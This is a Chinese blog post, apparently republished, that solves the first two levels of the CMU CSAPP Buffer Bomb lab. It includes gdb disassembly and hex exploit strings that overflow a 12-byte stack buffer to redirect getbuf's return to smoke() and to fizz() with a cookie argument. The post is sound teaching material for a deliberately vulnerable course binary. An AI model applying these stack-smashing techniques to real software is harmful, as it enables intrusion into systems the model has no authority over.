您的位置:首页 > 移动开发

CSAPP缓冲区溢出实验记录(一)

2014-09-06 17:53 363 查看
题目说明:

开启漏洞之旅,从基础做起。近日,下载了CMU为《深入理解计算机系统》(CSAPP)一书教学配合的缓冲区溢出实验Buffer Bomb,重温了栈溢出的原理。
题目提供了一个有漏洞溢出的程序bufbomb,包括五个Level,在每个Level中要求返回指定的函数、修改全局变量、执行Shellcode等,难度逐渐递增。为保证实验者作业的唯一性,实验提供了程序makecookie,生成指定用户名的cookie,在实验中将会用到这个cookie值。在我的机器上,
heen@linux:~/Study/CSAPP Exp/buflab$ ./makecookie heen
0x5573b7cf
bufbomb中包含一个有漏洞的函数getbuf
int getbuf()
{
char buf[12];
Gets(buf);
return 1;
}
与标准的c函数gets类似,Gets从标准输入中读入字符串(直到回车‘\n'或文件结尾EOF),添加一个null字符,并将其存入目标位置。在上述函数中,目标位置buf为一包含12个字节的字符数组。然而,Gets也不会对传入字符串的长度进行检查,这导致栈溢出的发生。当传入字符串不超过11字符时,
heen@linux:~/Study/CSAPP Exp/buflab$ ./bufbomb -t heen
Team: heen
Cookie: 0x5573b7cf
Type string:hello
Dud: getbuf returned 0x1
Better luck next time
当超过11字符时,
heen@linux:~/Study/CSAPP Exp/buflab$ ./bufbomb -t heen
Team: heen
Cookie: 0x5573b7cf
Type string:this string is too long!
Ouch!: You caused a segmentation fault!
Better luck next time
实验还提供了一个程序sendstring,用于将十六进制表示的字符串(exploit string)转换为输入字符串,例如十六进制表示“30 31 32 33 34 35”被sendstring转换为对应的字符串“012345“。通过管道机制可以传递一系列的十六进制字符串。
heen@linux: cat exploit.txt | ./sendstring | ./bufbomb -t heen
Level0: Candle(10分)
getbuf函数被test函数调用
void test()
{
int val;
volatile int local = 0xdeadbeef;
val = getbuf();
/* Check for corrupted stack */
if (local != 0xdeadbeef) {
printf("Sabotaged!: the stack has been corrupted\n");
}
else if (val == cookie) {
printf("Boom!: getbuf returned 0x%x\n", val);
validate(3);
}
else {
printf("Dud: getbuf returned 0x%x\n", val);
}
}
在bufbomb中还有一个函数
void smoke()
{
printf("Smoke!: You called smoke()\n");
validate(0);
exit(0);
}
要求提供exploit string,使getbuf返回到smoke而非test。
解法:
用gdb调试bufbomb,获知getbuf函数的栈帧布局,以及smoke函数的起始地址
heen@linux:~/Study/CSAPP Exp/buflab$ gdb -q ./bufbomb
Reading symbols from /media/winF/Study/CSAPP Exp/buflab/bufbomb...done.
(gdb) disass getbuf
Dump of assembler code for function getbuf:
0x08048a44 <+0>:    push   ebp
0x08048a45 <+1>:    mov    ebp,esp
0x08048a47 <+3>:    sub    esp,0x18
0x08048a4a <+6>:    add    esp,0xfffffff4
0x08048a4d <+9>:    lea    eax,[ebp-0xc]   ;ebp-0xc为指针buf的值
0x08048a50 <+12>:    push   eax
0x08048a51 <+13>:    call   0x8048b50 <Gets>
0x08048a56 <+18>:    mov    eax,0x1
0x08048a5b <+23>:    mov    esp,ebp
0x08048a5d <+25>:    pop    ebp
0x08048a5e <+26>:    ret
End of assembler dump.
(gdb) disass smoke
Dump of assembler code for function smoke:
0x08048910 <+0>:    push   ebp
0x08048911 <+1>:    mov    ebp,esp
0x08048913 <+3>:    sub    esp,0x8
0x08048916 <+6>:    add    esp,0xfffffff4
0x08048919 <+9>:    push   0x8049380
0x0804891e <+14>:    call   0x8048748 <printf@plt>
0x08048923 <+19>:    add    esp,0xfffffff4
0x08048926 <+22>:    push   0x0
0x08048928 <+24>:    call   0x8048c30 <validate>
0x0804892d <+29>:    add    esp,0x20
0x08048930 <+32>:    add    esp,0xfffffff4
0x08048933 <+35>:    push   0x0
0x08048935 <+37>:    call   0x8048788 <exit@plt>
End of assembler dump.
getbuf的栈帧布局如图所示。



输入20个字节的exploit string,覆盖getbuf返回地址为smoke函数的起始地址0x8048910,即可使getbuf返回到smoke。编写地址的时候,注意x86平台的little-ending。
heen@linux:~/Study/CSAPP Exp/buflab$ cat exploit1.txt
61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 10 89 04 08
heen@linux:~/Study/CSAPP Exp/buflab$ cat exploit1.txt | ./sendstring |./bufbomb -t heen
Team: heen
Cookie: 0x5573b7cf
Type string:Smoke!: You called smoke()
Level1: Sparkler(20分)
bufbomb中包含fizz函数
void fizz(int val)
{
if (val == cookie) {
printf("Fizz!: You called fizz(0x%x)\n", val);
validate(1);
} else
printf("Misfire: You called fizz(0x%x)\n", val);
exit(0);
}
与上一关类似,要求getbuf不返回到test ,而是返回到fizz,但是必须设置fizz中函数调用的参数为自己的cookie 。

解法:
首先仍然在gdb中disass fizz函数,找出其起始地址为0x804893c,与上一关相同,这个值需要填入buf偏移的第17到20字节,以改写getbuf原来的返回地址。

heen@linux:~/Study/CSAPP Exp/buflab$ gdb -q ./bufbomb
Reading symbols from /media/winF/Study/CSAPP Exp/buflab/bufbomb...done.
(gdb) disass fizz
Dump of assembler code for function fizz:
0x0804893c <+0>:    push   ebp
0x0804893d <+1>:    mov    ebp,esp
0x0804893f <+3>:    sub    esp,0x8
0x08048942 <+6>:    mov    eax,DWORD PTR [ebp+0x8]     ;val存储的地址
0x08048945 <+9>:    cmp    eax,DWORD PTR ds:0x804aa50
0x0804894b <+15>:    jne    0x8048970 <fizz+52>
0x0804894d <+17>:    add    esp,0xfffffff8
0x08048950 <+20>:    push   eax
0x08048951 <+21>:    push   0x804939c
0x08048956 <+26>:    call   0x8048748 <printf@plt>
0x0804895b <+31>:    add    esp,0xfffffff4
0x0804895e <+34>:    push   0x1
0x08048960 <+36>:    call   0x8048c30 <validate>
0x08048965 <+41>:    add    esp,0x20
0x08048968 <+44>:    jmp    0x8048981 <fizz+69>
0x0804896a <+46>:    lea    esi,[esi+0x0]
0x08048970 <+52>:    add    esp,0xfffffff8
0x08048973 <+55>:    push   eax
0x08048974 <+56>:    push   0x80493c0
0x08048979 <+61>:    call   0x8048748 <printf@plt>
0x0804897e <+66>:    add    esp,0x10
0x08048981 <+69>:    add    esp,0xfffffff4
---Type <return> to continue, or q <return> to quit---
其次,我们获知fizz函数调用中的参数val存储的地址为fizz函数中的ebp+0x8,这个地址为buf偏移的第25到28字节,如图所示,当getbuf函数返回时,堆栈中最后弹出我们控制的ret(0x804893c),然后开始执行fizz函数,堆栈中又压入EBP,在EBP+0x8即ret+4的地方引用val,在这个地方填入我们的cookie即可达到目的。



heen@linux:~/Study/CSAPP Exp/buflab$ cat exploit2_right.txt
61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61
3c 89 04 08 61 61 61 61 cf b7 73 55
heen@linux:~/Study/CSAPP Exp/buflab$ cat exploit2_right.txt | ./sendstring | ./bufbomb -t heen
Team: heen
Cookie: 0x5573b7cf
Type string:Fizz!: You called fizz(0x5573b7cf)
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息